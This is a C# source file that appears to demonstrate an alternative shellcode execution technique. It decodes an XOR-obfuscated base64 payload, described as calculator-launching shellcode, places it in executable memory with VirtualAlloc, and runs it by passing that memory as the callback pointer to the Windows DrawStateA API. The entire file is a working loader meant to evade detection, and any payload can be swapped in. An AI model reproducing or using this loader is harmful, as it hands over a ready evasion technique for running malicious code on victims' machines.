CSharp-Callback_DrawStateA.cs

using System;
using System.Runtime.InteropServices;

namespace AltCallbacks
{
    class Callback
    {
        const uint MEM_COMMIT = 0x00001000;
        const uint PAGE_EXECUTE_READWRITE = 0x40;

        [DllImport("kernelbase.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("user32.dll")]
        public static extern bool DrawStateA(IntPtr hdc, 
            IntPtr hBrush, 
            IntPtr qfnCallBack, 
            IntPtr lData, 
            IntPtr wData, 
            int x, int y, int width, int height, 
            uint uFlags
        );

        static string key = "THISISMYKEY";

        static void Main(string[] args)
        {
            // Calc shellcode
            string base64 = @"qADKt7m7jVlLRRgFCRkBGAUFaJkgEd8aKRvCAVURwBd5HMM7AwFc+hMBCGidAHiT5W8sJUlpeRWJgF4IUoy7phcYBQDCAWnYD2UDRInfyMFTSVMF3IsxPhxJmQPCG1UdwAV5HUmZsB8bspAKzm3cAEiFBGKEEXqF9RWJgF4IUoxhqzCoGEsFd0EWdIg+nQEQwwl3AFKdPwrOVRwMwhNVGkyJCs5d3ABIgwgLDAEVHAMVEAgKCAkF2qdlGAa3qQsIChcRwFewA7e2rBQb91hLRVlUSElTAd7AWEpFWRXyeNgm1LKM8KVEfkII6e/G8MS0kBHXjGFvTy9H2bClLFHzDkA7PCdZEgTQjrecMCg/LncuPTxU";

            byte[] decoded = Convert.FromBase64String(base64);
            byte[] shellcode = new byte[decoded.Length];

            for (int i = 0; i < decoded.Length; i++)
                shellcode[i] = ((byte)(decoded[i] ^ key[(i % key.Length)]));

            IntPtr p = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            
            Marshal.Copy(shellcode, 0, p, shellcode.Length);
            
            // Callback function
            DrawStateA(IntPtr.Zero, IntPtr.Zero, p, IntPtr.Zero, IntPtr.Zero, 1, 1, 1, 1, 0x00);

            return;
        }
    }
}